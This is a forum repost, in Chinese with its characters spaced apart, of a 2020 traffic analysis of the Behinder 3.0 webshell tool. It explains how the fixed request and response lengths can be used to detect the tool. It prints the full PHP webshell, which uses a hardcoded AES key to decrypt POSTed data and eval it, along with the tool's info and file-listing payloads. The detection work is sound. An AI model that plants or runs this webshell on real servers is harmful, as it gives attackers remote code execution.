搜索

[27362] 2020-08-17_冰蝎3.0流量层分析

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2020-08-17_冰蝎3.0流量层分析 冰 蝎 3 . 0 流 量 层 分 析 原 创   m r . c u l t   N E O 攻 防 队   2 0 2 0 - 0 8 - 1 7 前 言 前 言 昨 天 冰 蝎 B e h i n d e r _ v 3 . 0   B e t a   1 发 布 ， 相 较 于 冰 蝎 2 . 0 做 了 一 些 修 改 ， 咱 们 先 来 看 一 下 官 方 的 更 新 说 明 ： 2 0 2 0 . 8 . 1 6   v 3 . 0 B e t a   1   更 新 日 志 更 新 日 志 1 . 去 除 动 态 密 钥 协 商 机 制 ， 采 用 预 共 享 密 钥 ， 全 程 无 明 文 交 互 ， 密 钥 格 式 为 m d 5 ( " a d m i n " ) [ 0 : 1 6 ] ； 2 . 增 加 了 插 件 机 制 ， 可 开 发 安 装 自 定 义 扩 展 插 件 ； 3 . U I 框 架 由 a w t 改 为 j a v a f x ， 重 写 了 大 量 逻 辑 ； 4 . 增 强 了 内 网 穿 透 功 能 ， 在 原 有 的 基 于 H T T P 的 s o c k s 5 隧 道 基 础 上 ， 增 加 了 单 端 口 转 发 功 能 ， 可 一 键 将 内 网 端 口 映 射 至 V P S 或 者 本 机 端 口 。 分 析 分 析 在 流 量 层 ， 最 重 要 的 改 动 就 是 修 改 了 原 来 明 文 认 证 密 码 并 生 成 a e s 加 密 k e y 的 过 程 ， 将 w e b s h e l l 连 接 密 码 m d 5 加 密 后 取 前 1 6 位 作 为 加 密 流 量 的 密 钥 ， 脚 本 端 变 化 （ 以 p h p 为 例 ） ： < ? p h p @ e r r o r _ r e p o r t i n g ( 0 ) ; s e s s i o n _ s t a r t ( ) ; i f   ( $ _ S E R V E R [ ' R E Q U E S T _ M E T H O D ' ]   = = =   ' P O S T ' ) {         $ k e y = " e 4 5 e 3 2 9 f e b 5 d 9 2 5 b " ;     $ _ S E S S I O N [ ' k ' ] = $ k e y ;     $ p o s t = f i l e _ g e t _ c o n t e n t s ( " p h p : / / i n p u t " ) ;     i f ( ! e x t e n s i o n _ l o a d e d ( ' o p e n s s l ' ) )     {         $ t = " b a s e 6 4 _ " . " d e c o d e " ;         $ p o s t = $ t ( $ p o s t . " " ) ;         f o r ( $ i = 0 ; $ i < s t r l e n ( $ p o s t ) ; $ i + + )   {                       $ p o s t [ $ i ]   =   $ p o s t [ $ i ] ^ $ k e y [ $ i + 1 & 1 5 ] ;                       }     }     e l s e     {         $ p o s t = o p e n s s l _ d e c r y p t ( $ p o s t ,   " A E S 1 2 8 " ,   $ k e y ) ;     }         $ a r r = e x p l o d e ( ' | ' , $ p o s t ) ;         $ f u n c = $ a r r [ 0 ] ;         $ p a r a m s = $ a r r [ 1 ] ;     c l a s s   C { p u b l i c   f u n c t i o n   _ _ i n v o k e ( $ p )   { e v a l ( $ p . " " ) ; } }         @ c a l l _ u s e r _ f u n c ( n e w   C ( ) , $ p a r a m s ) ; } ? >
可 以 看 到 ， 这 里 将 k e y 写 死 了 ， 直 接 使 用 这 个 k e y 解 密 客 户 端 传 过 来 的 a e s 流 量 ， 这 个 k e y 的 值 是 m d 5 之 后 取 前 1 6 位 的 r e b e y o n d ， 也 是 冰 蝎 的 默 认 密 码 ： 接 下 来 抓 包 看 一 下 ， 在 双 击 添 加 的 w e b s h e l l 之 后 ， 客 户 端 总 共 发 送 了 4 个 数 据 包 ： 我 们 使 用 k e y 将 流 量 解 密 ， 跟 冰 蝎 2 . 0 一 样 ， 解 a e s 后 再 解 一 次 b a s e 6 4 ：
解 密 之 后 的 p o s t 数 据 ： 可 以 将 此 包 理 解 为 k e y 的 认 证 包 ， 如 果 服 务 端 返 回 了 加 密 后 的 6 6 0 a e e c 1 - 5 7 4 f - 4 5 a 6 - 9 9 3 6 - a 2 7 b 0 a 7 c e 1 7 3 ， 那 么 认 证 成 功 ， 进 入 后 续 流 程 第 二 个 包 和 2 . 0 一 样 ， 会 获 取 一 些 基 本 的 信 息 ， 在 p h p 中 ， 执 行 的 就 是 p h p i n f o ( ) @ e r r o r _ r e p o r t i n g ( 0 ) ; f u n c t i o n   m a i n ( $ c o n t e n t ) {     $ r e s u l t   =   a r r a y ( ) ;     $ r e s u l t [ " s t a t u s " ]   =   b a s e 6 4 _ e n c o d e ( " s u c c e s s " ) ;         $ r e s u l t [ " m s g " ]   =   b a s e 6 4 _ e n c o d e ( $ c o n t e n t ) ;         $ k e y   =   $ _ S E S S I O N [ ' k ' ] ;         e c h o   e n c r y p t ( j s o n _ e n c o d e ( $ r e s u l t ) , $ k e y ) ; } f u n c t i o n   e n c r y p t ( $ d a t a , $ k e y ) {     i f ( ! e x t e n s i o n _ l o a d e d ( ' o p e n s s l ' ) )             {                 f o r ( $ i = 0 ; $ i < s t r l e n ( $ d a t a ) ; $ i + + )   {                       $ d a t a [ $ i ]   =   $ d a t a [ $ i ] ^ $ k e y [ $ i + 1 & 1 5 ] ;                       }             r e t u r n   $ d a t a ;             }         e l s e             {                 r e t u r n   o p e n s s l _ e n c r y p t ( $ d a t a ,   " A E S 1 2 8 " ,   $ k e y ) ;             } } $ c o n t e n t = " 6 6 0 a e e c 1 - 5 7 4 f - 4 5 a 6 - 9 9 3 6 - a 2 7 b 0 a 7 c e 1 7 3 " ; m a i n ( $ c o n t e n t ) ;
第 三 个 和 第 四 个 包 发 送 的 数 据 一 致 ， 作 用 是 查 看 当 前   w e b   目 录 下 的 文 件 在 分 析 了 开 头 的 几 个 数 据 包 后 我 们 发 现 ， 由 于 流 量 中 已 经 没 有 k e y 值 ， 所 以 就 算 我 们 捕 获 了 冰 蝎 3 . 0 的 通 信 流 量 通 信 流 量 ， 也 没 有 办 法 解 密 ， 只 有 找 到 上 传 w e b s h e l l 或 者 写 入 w e b s h e l l 的 数 据 包 拿 到 k e y 值 才 行 。 那 么 ， 我 们 如 何 在 流 量 层 中 捕 获 冰 蝎 流 量 层 中 捕 获 冰 蝎 呢 ， 所 有 的 数 据 包 全 程 无 参 数 ， 每 一 次 重 新 连 接 w e b s h e l l 时 ， u a 也 会 变 化 。 这 时 我 们 回 到 冰 蝎 连 接 时 发 送 的 第 一 个 数 据 包 ， 虽 然 进 行 认 证 的 随 机 字 符 串 会 变 化 ， 但 是 长 度 是 不 会 变 的 ， 这 也 就 说 明 第 一 个 认 证 包 r e q u e s t 和 r e s p o n s e 的 长 度 是 固 定 长 度 是 固 定 的 ， 包 括 第 二 个 数 据 包 获 取 基 本 信 息 的 r e q u e s t 长 度 也 是 固 定 的 （ p h p 下 长 度 为 2 2 2 0 ） ， 但 是 由 于 每 个 服 务 器 的 环 境 信 息 不 同 ， 第 二 个 包 的 r e s p o n s e 长 度 不 是 固 定 的 。 那 么 在 这 种 情 况 下 ， 我 们 可 以 在 全 流 量 设 备 的 加 持 下 编 写 脚 本 在 全 流 量 设 备 的 加 持 下 编 写 脚 本 ， 筛 选 出 第 一 个 包 r e q u e s t 长 度 为 1 1 1 2 ， r e s p o n s e 响 应 长 度 为 1 2 8 ， 第 二 个 包 r e q u e s t 长 度 为 2 2 2 0 的 流 量 ， 即 为 冰 蝎 w e b s h e l l 产 生 的 流 量 。 P S ： 上 述 分 析 基 于 p h p 脚 本 ， 其 他 脚 本 略 有 不 同 ， 但 分 析 思 路 是 一 样 的 。 f u n c t i o n   m a i n ( $ m o d e ,   $ p a t h   =   " . " ,   $ c o n t e n t   =   " " ,   $ c h a r s e t   =   " " , $ n e w p a t h ) {     . . . } f u n c t i o n   e n c r y p t ( $ d a t a , $ k e y ) { . . .             } } $ m o d e = " l i s t " ; $ p a t h = " E : p h p S t u d y W W W / " ; m a i n ( $ m o d e , $ p a t h ) ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理